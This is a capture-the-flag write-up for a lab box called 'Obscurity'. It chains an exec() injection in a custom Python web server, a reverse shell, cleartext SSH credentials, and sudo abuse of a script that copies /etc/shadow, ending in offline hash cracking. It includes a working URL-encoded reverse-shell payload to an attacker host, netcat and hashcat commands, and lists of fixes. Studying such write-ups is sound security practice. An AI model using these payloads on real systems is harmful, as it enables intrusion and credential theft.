Obscurity
Summary
I scanned the target and found a custom Python web server (BadHTTPServer) on port 8080 that served its own source code at a guessable development path. Reading the source revealed that the request handler passed the URL-decoded HTTP path directly into Python's exec(), letting any unauthenticated visitor run arbitrary OS commands.
A crafted HTTP request spawned a reverse shell as the web user (www-data). Filesystem enumeration uncovered plaintext SSH credentials for a local account (robert) stored in his home directory, giving a full user session and the first flag.
A sudo rule permitted robert to run a custom SSH wrapper (BetterSSH.py) as root; the script copied /etc/shadow into a hardcoded temporary directory that I had pre-created as world-readable, exposing the root password hash for offline cracking. Supplying the cracked root password back to the script's su call completed the escalation, delivering the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <root_hash_from_shadow> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Identify service versions on both open ports.
$ nmap -Pn -sV -p 22,8080 $TARGETConfirm the BadHTTPServer banner and landing page.
$ curl -sS -i http://$TARGET:8080/Exact commands 2
Retrieve the server source without authentication.
$ curl -sS http://$TARGET:8080/develop/SuperSecureServer.py -o SuperSecureServer.pyLocate the unsafe dynamic evaluation in serveDoc().
$ grep -n 'exec\|format\|path\|info' SuperSecureServer.pyFixRemove the unauthenticated source-code disclosure endpointHigh
info = "output = 'Document: {}'"; exec(info.format(path)). My own path therefore controls exactly what Python code is evaluated with no authentication required. A URL-encoded payload embedding an os.system() bash reverse-shell call was sent as the HTTP GET path, establishing a shell as www-data (uid=33) on the host.Exact commands 2
Start a listener on my machine before sending the payload.
$ nc -lvnp 4444URL-encoded payload: ';__import__("os").system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'")# — substitute your listener IP for $ATTACKER_IP.
$ curl -sS "http://$TARGET:8080/%27%3B__import__%28%22os%22%29.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/4444%200%3E%261%27%22%29%23"FixRewrite the request handler to eliminate unsafe dynamic code evaluationCritical
Exact commands 3
Enumerate the local user's home directory from the www-data shell.
$ ls -la /home/robert/List all files readable as www-data to surface credential artifacts.
$ find /home/robert -type f -readable 2>/dev/nullReview the escalation helper for logic flaws and hardcoded paths.
$ cat /home/robert/BetterSSH/BetterSSH.pyFixReplace cleartext credential storage with SSH key authenticationHigh
Exact commands 3
Log in as robert using the discovered cleartext password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 robert@$TARGETCapture the user flag: <user.txt>.
$ cat /home/robert/user.txtConfirm sudo rights — reveals NOPASSWD access to BetterSSH.py as root.
$ sudo -lExact commands 6
Pre-create the hardcoded temp directory as world-readable so the script's shadow copy persists.
$ mkdir -p /tmp/SSH; chmod 777 /tmp/SSHLaunch the script as root in the background; it writes the /etc/shadow copy to /tmp/SSH/.
$ sudo /home/robert/BetterSSH/BetterSSH.py &Read the root-owned shadow copy before the script can delete it.
$ cat /tmp/SSH/*Crack the SHA-512 crypt hash offline; result: <withheld>.
$ hashcat -m 1800 '<root_hash_from_shadow>' /usr/share/wordlists/rockyou.txtRun again interactively; enter username 'root' and password at the prompts.
$ sudo /home/robert/BetterSSH/BetterSSH.pyCapture the root flag: <root.txt>.
$ cat /root/root.txtFixRemove the BetterSSH sudo rule and eliminate the script's insecure shadow-file handlingCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http-proxy BadHTTPServer |